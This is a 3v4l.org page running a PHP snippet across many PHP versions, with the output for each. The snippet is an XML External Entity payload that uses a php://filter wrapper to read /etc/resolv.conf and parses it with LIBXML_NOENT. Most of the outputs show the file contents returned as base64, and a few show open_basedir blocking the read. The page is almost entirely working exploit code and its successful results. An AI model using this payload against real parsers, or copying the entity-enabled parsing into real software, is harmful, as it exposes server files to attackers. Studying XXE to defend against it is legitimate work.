3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp SYSTEM "php://filter/convert.base64-encode/resource=/etc/resolv.conf"> ] > <strony> <strona id="cccc"> <nazwa>bbbb</nazwa> <url>http://www.aaaa.pl/</url> <komentarz> &shp;</komentarz> </strona> </strony>'; $strony = new SimpleXMLElement($xml, LIBXML_NOENT); foreach($strony->strona->komentarz as $komentarz) echo "$komentarz\n";
Output for 7.2.29 - 7.2.33, 7.3.16 - 7.3.26, 7.3.32 - 7.3.33, 7.4.3 - 7.4.14, 7.4.26 - 7.4.33, 8.0.0, 8.0.13 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
IyBSZXNvbHZlciBjb25maWd1cmF0aW9uIGZpbGUuCiMgU2VlIHJlc29sdi5jb25mKDUpIGZvciBkZXRhaWxzLgo=
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 IyBSZXNvbHZlciBjb25maWd1cmF0aW9uIGZpbGUuCiMgU2VlIHJlc29sdi5jb25mKDUpIGZvciBkZXRhaWxzLgo=
Output for 7.3.27 - 7.3.31, 7.4.15 - 7.4.25, 8.0.1 - 8.0.12
IyBUaGlzIGZpbGUgaXMgbWFuYWdlZCBieSBtYW46c3lzdGVtZC1yZXNvbHZlZCg4KS4gRG8gbm90IGVkaXQuCiMKIyBUaGlzIGlzIGEgZHluYW1pYyByZXNvbHYuY29uZiBmaWxlIGZvciBjb25uZWN0aW5nIGxvY2FsIGNsaWVudHMgdG8gdGhlCiMgaW50ZXJuYWwgRE5TIHN0dWIgcmVzb2x2ZXIgb2Ygc3lzdGVtZC1yZXNvbHZlZC4gVGhpcyBmaWxlIGxpc3RzIGFsbAojIGNvbmZpZ3VyZWQgc2VhcmNoIGRvbWFpbnMuCiMKIyBSdW4gInJlc29sdmVjdGwgc3RhdHVzIiB0byBzZWUgZGV0YWlscyBhYm91dCB0aGUgdXBsaW5rIEROUyBzZXJ2ZXJzCiMgY3VycmVudGx5IGluIHVzZS4KIwojIFRoaXJkIHBhcnR5IHByb2dyYW1zIHNob3VsZCB0eXBpY2FsbHkgbm90IGFjY2VzcyB0aGlzIGZpbGUgZGlyZWN0bHksIGJ1dCBvbmx5CiMgdGhyb3VnaCB0aGUgc3ltbGluayBhdCAvZXRjL3Jlc29sdi5jb25mLiBUbyBtYW5hZ2UgbWFuOnJlc29sdi5jb25mKDUpIGluIGEKIyBkaWZmZXJlbnQgd2F5LCByZXBsYWNlIHRoaXMgc3ltbGluayBieSBhIHN0YXRpYyBmaWxlIG9yIGEgZGlmZmVyZW50IHN5bWxpbmsuCiMKIyBTZWUgbWFuOnN5c3RlbWQtcmVzb2x2ZWQuc2VydmljZSg4KSBmb3IgZGV0YWlscyBhYm91dCB0aGUgc3VwcG9ydGVkIG1vZGVzIG9mCiMgb3BlcmF0aW9uIGZvciAvZXRjL3Jlc29sdi5jb25mLgoKbmFtZXNlcnZlciAxMjcuMC4wLjUzCm9wdGlvbnMgZWRuczAgdHJ1c3QtYWQK
Output for 7.4.0
IyBUaGlzIGZpbGUgYmVsb25ncyB0byBtYW46c3lzdGVtZC1yZXNvbHZlZCg4KS4gRG8gbm90IGVkaXQuCiMKIyBUaGlzIGlzIGEgc3RhdGljIHJlc29sdi5jb25mIGZpbGUgZm9yIGNvbm5lY3RpbmcgbG9jYWwgY2xpZW50cyB0byB0aGUKIyBpbnRlcm5hbCBETlMgc3R1YiByZXNvbHZlciBvZiBzeXN0ZW1kLXJlc29sdmVkLiBUaGlzIGZpbGUgbGlzdHMgbm8gc2VhcmNoCiMgZG9tYWlucy4KIwojIFJ1biAicmVzb2x2ZWN0bCBzdGF0dXMiIHRvIHNlZSBkZXRhaWxzIGFib3V0IHRoZSB1cGxpbmsgRE5TIHNlcnZlcnMKIyBjdXJyZW50bHkgaW4gdXNlLgojCiMgVGhpcmQgcGFydHkgcHJvZ3JhbXMgbXVzdCBub3QgYWNjZXNzIHRoaXMgZmlsZSBkaXJlY3RseSwgYnV0IG9ubHkgdGhyb3VnaCB0aGUKIyBzeW1saW5rIGF0IC9ldGMvcmVzb2x2LmNvbmYuIFRvIG1hbmFnZSBtYW46cmVzb2x2LmNvbmYoNSkgaW4gYSBkaWZmZXJlbnQgd2F5LAojIHJlcGxhY2UgdGhpcyBzeW1saW5rIGJ5IGEgc3RhdGljIGZpbGUgb3IgYSBkaWZmZXJlbnQgc3ltbGluay4KIwojIFNlZSBtYW46c3lzdGVtZC1yZXNvbHZlZC5zZXJ2aWNlKDgpIGZvciBkZXRhaWxzIGFib3V0IHRoZSBzdXBwb3J0ZWQgbW9kZXMgb2YKIyBvcGVyYXRpb24gZm9yIC9ldGMvcmVzb2x2LmNvbmYuCgpuYW1lc2VydmVyIDEyNy4wLjAuNTMKb3B0aW9ucyBlZG5zMAo=
Output for 7.1.20, 7.2.6
Warning: SimpleXMLElement::__construct(): open_basedir restriction in effect. File(/etc/resolv.conf) is not within the allowed path(s): (/tmp:/in) in /in/bEHdi on line 14 Warning: SimpleXMLElement::__construct(php://filter/convert.base64-encode/resource=/etc/resolv.conf): failed to open stream: operation failed in /in/bEHdi on line 14 Warning: SimpleXMLElement::__construct(): I/O warning : failed to load external entity "php://filter/convert.base64-encode/resource=/etc/resolv.conf" in /in/bEHdi on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Failure to process entity shp in /in/bEHdi on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/bEHdi on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/bEHdi on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Entity 'shp' not defined in /in/bEHdi on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/bEHdi on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/bEHdi on line 14 Fatal error: Uncaught Exception: String could not be parsed as XML in /in/bEHdi:14 Stack trace: #0 /in/bEHdi(14): SimpleXMLElement->__construct('<?xml version="...', 2) #1 {main} thrown in /in/bEHdi on line 14
Process exited with code 255.
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.10, 7.2.0
IwojIC9ldGMvcmVzb2x2LmNvbmYKIwoKI3NlYXJjaCA8eW91cmRvbWFpbi50bGQ+CiNuYW1lc2VydmVyIDxpcD4KCiMgRW5kIG9mIGZpbGUK

preferences:
164.51 ms | 402 KiB | 173 Q